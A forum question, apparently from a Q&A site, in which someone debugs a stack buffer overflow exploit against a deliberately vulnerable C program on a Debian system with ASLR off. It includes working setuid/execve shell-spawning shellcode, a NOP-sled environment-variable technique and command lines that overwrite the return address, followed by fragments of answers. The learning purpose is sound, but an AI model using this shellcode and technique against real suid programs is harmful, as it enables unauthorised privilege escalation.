I'm currently trying to understand why one of my methods to exploit a buffer overflow in a program is not working. I tried two solutions, the 1st one works but not the second one. Whereas the 1st method just adds a bunch of NOP where the return address points to. The program does not contains any stack protections mechanisms. I'm working on a x86 debian machine (ASLR off), kernel 2.6.32-5-686 with the following vulnerable code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void vuln(char *arg)
{
char msg[12];
strcpy(msg,arg);
}
int main(int argc, char** argv)
{
if (argc != 2)
{
printf("Usage : prog arg\n");
exit(1);
}
vuln(argv[1]);
return 0;
}
So, this method is working:
EGG will contain 100x NOP and my shellcode
export EGG=`python2.6 -c 'print "\x90"*100 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
EGG env variable found at: 0xbffffe10 using "x/200s $esp" in gdb
Exploiting the program with:
./a.out `python2.6 -c 'print "\x90"*24 + "\x50\xfe\xff\xbf"'`
where I added 0x40 to the EGG address to let EIP points into the NOP heap.
And this one is NOT working:
export EGG=`python2.6 -c 'print "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
EGG env variable found at: 0xbffffe75 using "x/200s $esp" in gdb
Exploiting the program with:
./a.out `python2.6 -c 'print "\x90"*24 + "\x79\xfe\xff\xbf"'`
where I added 0x4 to the EGG var to ignore the address starting at "EGG="
Here the shell spawns into gdb but I'm not suid as I would like to, and outside gdb the program just segfault... While using into gdb:
r `python2.6 -c 'print "\x90"*24 + "AABC"'`
I get what I was supposed to get:
Cannot access memory at address 0x43424141
0x43424141 in ?? ()
So I was in fact erasing the right return address... What I did wrong? Why gdb spawns a shell and nothing is working outside the debugger?
msg
. It may very well be 16 bytes or some other power of two.gdb
debugger to understand what actual addresses are involved. I suspect your overflow goes towards upper call frames (that ofmain
or even its caller fromcrt0.o
)...